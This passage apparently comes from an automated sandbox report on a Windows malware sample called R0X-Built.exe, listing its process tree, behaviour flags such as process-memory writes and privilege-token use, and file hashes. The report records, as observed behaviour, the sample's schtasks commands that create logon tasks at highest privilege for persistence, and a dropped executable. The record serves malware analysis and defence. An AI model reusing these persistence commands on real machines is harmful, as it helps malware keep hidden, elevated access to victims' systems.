nvoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3844
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s nsi1⤵PID:1164
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵PID:1244
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵PID:1252
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s EventSystem1⤵PID:1268
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp1⤵PID:1372
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵PID:1420
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵PID:1448
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c:\windows\system32\sihost.exesihost.exe2⤵PID:3100
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder1⤵PID:1512
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s NlaSvc1⤵PID:1564
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s Dnscache1⤵PID:1588
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted1⤵PID:1652
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted1⤵PID:1784
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted1⤵PID:1792
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s netprofm1⤵PID:1808
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k appmodel -s StateRepository1⤵PID:1816
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵PID:1884
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1972
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation1⤵PID:2060
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2148
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵PID:2328
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent1⤵PID:2336
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵PID:2372
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc1⤵PID:2428
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵PID:2532
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s CryptSvc1⤵PID:2540
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2560
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks1⤵PID:2580
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵PID:2596
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2808
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc1⤵PID:3116
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s TokenBroker1⤵PID:3228
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3360
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C:\Users\Admin\AppData\Local\Temp\R0X-Built.exe"C:\Users\Admin\AppData\Local\Temp\R0X-Built.exe"2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2752 -
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "$srr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\R0X-Built.exe" /rl HIGHEST /f3⤵
- Creates scheduled task(s)
PID:3840
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C:\Users\Admin\AppData\Roaming\Windows\$srr-powershell.exe"C:\Users\Admin\AppData\Roaming\Windows\$srr-powershell.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:756 -
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "$srr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Windows\$srr-powershell.exe" /rl HIGHEST /f4⤵
- Creates scheduled task(s)
PID:5048
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C:\Users\Admin\AppData\Local\Temp\install.exe"C:\Users\Admin\AppData\Local\Temp\install.exe"3⤵
- Executes dropped EXE
PID:5032
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C:\Windows\SysWOW64\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77R0X-Built.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\R0X-Built.exe'" /sc onlogon /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:5020
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3908
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:2936
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s CDPSvc1⤵PID:4788
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV1⤵PID:4536
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:4320
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2700
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s wlidsvc1⤵PID:2804
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
- Drops file in System32 directory
PID:4736
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C:\Windows\system32\ApplicationFrameHost.exeC:\Windows\system32\ApplicationFrameHost.exe -Embedding1⤵PID:1844
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C:\Windows\System32\InstallAgent.exeC:\Windows\System32\InstallAgent.exe -Embedding1⤵PID:4656
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵PID:4940
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Suspicious behavior: EnumeratesProcesses
PID:1400
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
162KB
MD5152e3f07bbaf88fb8b097ba05a60df6e
SHA1c4638921bb140e7b6a722d7c4d88afa7ed4e55c8
SHA256a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc
SHA5122fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4
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Filesize
409KB
MD5a0f5aa5764c4f66eee82f857f9f447b6
SHA13c3a780d020cb3eb3088223443fe813abb95dccd
SHA25643c6b9b6c241dbd6ad1bde7980026235373374d5e836fb6c794354a15e678ef3
SHA512458c03ae490e409598b8e9e89911b0757fb61411fbc45a60ecefed3c13d0fc96b7bc205afe1fb3e0f7585eb163f102754ec9259691eca1bfa00b028f74eb8384
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Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a